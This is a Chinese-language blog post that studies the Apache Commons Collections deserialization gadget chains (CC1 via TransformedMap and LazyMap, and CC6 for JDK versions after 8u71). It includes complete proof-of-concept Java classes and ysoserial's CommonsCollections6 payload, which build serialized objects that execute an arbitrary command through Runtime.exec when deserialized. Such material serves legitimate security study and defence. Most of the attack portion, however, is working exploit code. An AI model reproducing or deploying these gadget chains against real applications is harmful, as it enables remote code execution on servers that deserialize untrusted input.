CommonCollections1及其高版本利用学习

CommonCollections1及其高版本利用学习

环境

前言

以下记录都是基于前辈们基础上对Java知识的一点学习记录,如有笔误敬请斧正。
这里大概贴一下自己认为反序列化任意代码执行等的原理和PHP是很像的。

image-20220117183047374

然后这里说下调试的东西也就是Openjdk我们下载下来找到JDK的环境解压里面的src再向src中添加Openjdk的sun包// src\share\classes\sun

image-20220115153159831

然后再idea中添加进来,就直接能看到源码了。

image-20220115153244481

函数介绍

因为根据文档出问题的是Transformer所以我们可以看看谁调用了Transformer进而分析一些函数,所以我们先介绍一些函数方便后续学习。

image-20220115161254653

TransformedMap

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

demo

TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰被修饰过的Map在添加新的元素时,将可
以执⾏⼀个回调。keyTransformervalueTransformer都实现了对传入的值进行transform的回调。也就是说TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来。

Transformer

Transformer是一个接口只有一个transform方法

package org.apache.commons.collections;

public interface Transformer {
 	public Object transform(Object input);
}

ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回:

public ConstantTransformer(Object constantToReturn) {
 	super();
 	iConstant = constantToReturn;
}
public Object transform(Object input) {
 	return iConstant;
}

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类也是关键。因为他可以执行任意方法。
根据注释我们得知@param methodName 要调用的方法 @param paramTypes 构造函数参数类型@param args 构造函数参数

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);}
    catch(ex){
        .............
    }

ChainedTransformer

代码也比较简单大概就是回调返回的结果,作为后⼀个回调的参数传⼊

public ChainedTransformer(Transformer[] transformers) {
 	super();
 	iTransformers = transformers;
}
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

国内CC1推导

我们知道了InvokerTransformertransform可以执行任意代码,所以可以写出此demo

public class cc1 {
    public static void main(String[] args) throws Exception {
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
    }

}

我们知道Runtime类没有继承反序列化接口所以不能序列化所以我们需要改写

Method getRuntimemethod = (Method)new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

还知道了ConstantTransformer类的transform接收任意参数返回,并且ChainedTransformer就是循环调用,于是我们可以改造一下

Transformer[] transformers= new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(任意值);

但是我们最终需要序列化这个类所以我们需要找到readObject。所以我们现在需要寻找谁还调用了transform,可以发现很多都调用了他,都可以看一下。最后也是找到了Map类,这里先分析TransformedMap

image-20220115181938810

贴一下关键代码

public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {
    
        public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    
        protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
    
        protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

我们可以看到checkSetValue调用了他,我们再去找valueTransformer是什么。发现Transformer的构造函数因为是protected所以我们需要找被谁调用。找到decorate调用了这个方法。继续分析,我们查看谁调用了checkSetValue

image-20220115183443025

到这里看类名大概我们知道MapEntry类下的setValue调用于是我们也可以写一个demo

Transformer[] transformers= new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(任意值);


HashMap<Object, Object> map = new HashMap<>();
map.put("value","12");
Map <Object, Object>transformedmap = TransformedMap.decorate(map, null, chainedTransformer);



for (Map.Entry <Object, Object> entry:transformedmap.entrySet()){
    entry.setValue(任意值);
}

因为我们最终肯定要找到readObject的,直接找到当然很OK。没找到就一层层调用找。继续寻找下谁调用了setVaule。最终也是在AnnotationInvocationHandler类的readObject找到

贴一下AnnotationInvocationHandler类readObject代码

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }

主要看下面的for if语句,查看memberValues是从哪里来的。发现构造函数需要我们传入注解和map

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}

if语句中的memberType也就是我们传入注解获取成员变量的值,此值也就是map传入的key然后判断是否为空。所以我们需要传入Target在map处key=value

image-20220117190946592

于是构造完整Poc如下

public class cc1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Runtime r = Runtime.getRuntime();
//        反射
//        Method getRuntimemethod = (Method)new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime runtime = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getRuntimemethod);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);


        Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(任意值);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","12");
        Map <Object, Object>transformedmap = TransformedMap.decorate(map, null, chainedTransformer);



//        for (Map.Entry <Object, Object> entry:transformedmap.entrySet()){
//            entry.setValue(任意值);
//        }

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationinvocationhandler = c.getDeclaredConstructor(Class.class,Map.class);
        annotationinvocationhandler.setAccessible(true);
        Object o = annotationinvocationhandler.newInstance(Target.class, transformedmap);
        serialize(o);
        unserialize("ser.bin");
            }
public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
public static void unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        System.out.println(obj);
    }
}

ysoserial推导

国内相比ysoserial用的是的TransformedMap,而他用的是LazyMap,它的一些介绍及其他用法。

https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/#toc-heading-9

但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在
sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到
Map的get方法

所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get:

image-20220118134412549

那么又如何能调用到AnnotationInvocationHandler#invoke 呢?于是就可以使用动态代理

文章:https://blog.csdn.net/Dream_Weave/article/details/84183247

我们写一个demo

public class dtProxy implements InvocationHandler {
    protected Map map;

    public dtProxy(Map map) {
        this.map = map;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().equals("get")){
            System.out.println("自定义");
        }
        return null;
    }

    public static void main(String[] args) {
        InvocationHandler handler=new dtProxy(new HashMap());
        Map mapproxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        mapproxy.put("key","value");
        mapproxy.get("key");
        mapproxy.get("12");
    }
}

image-20220118140616104

这有点类似于PHP的__Call,所以在在readObject的时候调用任意方法就可以进入invoke进而触发get方法,所以我们对上面的poc进行改造

然后我们对sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy

Map lazymap = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationinvocationhandler = c.getDeclaredConstructor(Class.class,Map.class);
annotationinvocationhandler.setAccessible(true);
InvocationHandler handler = (InvocationHandler)annotationinvocationhandler.newInstance(Target.class, lazymap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

生成AnnotationInvocationHandler对象,为了调用Object中memberValues的entrySet方法,需要再次实例化AnnotationInvocationHandler类,这是将代理类作为构造方法的第二个参数

之所以要创建两次是因为一次是生成代理类,一次是生成反序列化对象。

handler = (InvocationHandler) annotationinvocationhandler.newInstance(Target.class, proxyMap);

构造完整Poc如下

public class cc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(任意值);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","12");
        Map lazymap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationinvocationhandler = c.getDeclaredConstructor(Class.class,Map.class);
        annotationinvocationhandler.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)annotationinvocationhandler.newInstance(Target.class, lazymap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) annotationinvocationhandler.newInstance(Target.class, proxyMap);

        serialize(handler);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        System.out.println(obj);
    }
}

高版本利用

在8u71以后,Java官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作

image-20220118161526063

这里其实解决高版本就是Commons-collections6的利用链。
解决高版本实际就是找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅

我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法
中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法
贴一下关键代码

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    
     private static final long serialVersionUID = -8453869361373831205L;
     private final Map map;
     private final Object key;
     public TiedMapEntry(Map map, Object key) {
     this.map = map;
     this.key = key;
     }
     public Object getKey() {
     return this.key;
     }
     public Object getValue() {
     return this.map.get(this.key);
     }

     // ...
     public int hashCode() {
     Object value = this.getValue();
     return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^
    (value == null ? 0 : value.hashCode());
     }

     // ...
    }

这里我们可以寻找谁调用了hashcode分析过URLDNS就知道,Hashmap中hash会调用hashcode然后再HashMap#readObject 又可以找到hash的调用。

ysoserial的话是在HashSet#readObjectHashMap#putHashMap#hash(key)
最后到TiedMapEntry#hashCode()

public class HashMap<K,V> extends AbstractMap<K,V>
 implements Map<K,V>, Cloneable, Serializable {
 
 // ...
 
	 static final int hash(Object key) {
 	int h;
 	return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
 }
 // ...
 
 private void readObject(java.io.ObjectInputStream s)
 throws IOException, ClassNotFoundException {
 // Read in the threshold (ignored), loadfactor, and any hidden
stuff
 s.defaultReadObject();
 // ...
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
 }
 }

在HashMap的readObject⽅法中,调⽤到了hash(key),⽽hash⽅法中,调⽤到了
key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过
程,构成⼀个完整的Gadget

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(任意值);


        HashMap<Object, Object> map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tme = new TiedMapEntry(lazymap, "12");
        HashMap kvHashMap = new HashMap<>();
        kvHashMap.put(tme, null);

        serialize(kvHashMap);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        System.out.println(obj);
    }
}

但是我们发现我们并没有触发RCE且本地调试会触发一次。这是为什么呢,因为我们在hashmap.put的时候也会调用hash(key)

public V put(K key, V value) {
 	return putVal(hash(key), key, value, false, true);
}

原因就出现在Lazymap的get函数上

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

进入if需要加载的这个key之前未被get函数调用过,并且一旦调用过一次后,就会直接把这个key-value对放进this.map中,下次调用直接走else语句。但是我们在put时候又调用了。所以我们需要添加如下代码

lazyMap.remove("12");

最终poc

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(任意值);


        HashMap<Object, Object> map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tme = new TiedMapEntry(lazymap, "12");
        HashMap kvHashMap = new HashMap<>();
        kvHashMap.put(tme, null);
        lazymap.remove("12");

        serialize(kvHashMap);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        System.out.println(obj);
    }
}

我们来分析下ysoserial中的代码

public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {

    public Serializable getObject(final String command) throws Exception {

        final String[] execArgs = new String[] { command };

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
		//取出HashSet对象的成员变量map
        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        //取出HashMap对象的成员变量table
        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);
		//取出table里面的第一个Entry
        
        //为什么是Entry因为table是node类型 node实现了Map.Entry<K,V>
        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
	//取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
        Reflections.setAccessible(keyField);
        keyField.set(node, entry);

        return map;

    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections6.class, args);
    }
}

可以说是把反射机制生成恶意代码用的很好了,大致的东西我在上面代码注释了。如果不用反射做的话也就两三步。和使用Hashmap一样。

HashSet map = new HashSet(1);
map.add(entry);
lazyMap.remove("foo");

希望静有所思,思有所想!

参考

https://github.com/phith0n/JavaThings

https://zhuanlan.zhihu.com/p/349838623

posted @ 2022-01-20 20:57  R0ser1  阅读(166)  评论(0编辑  收藏  举报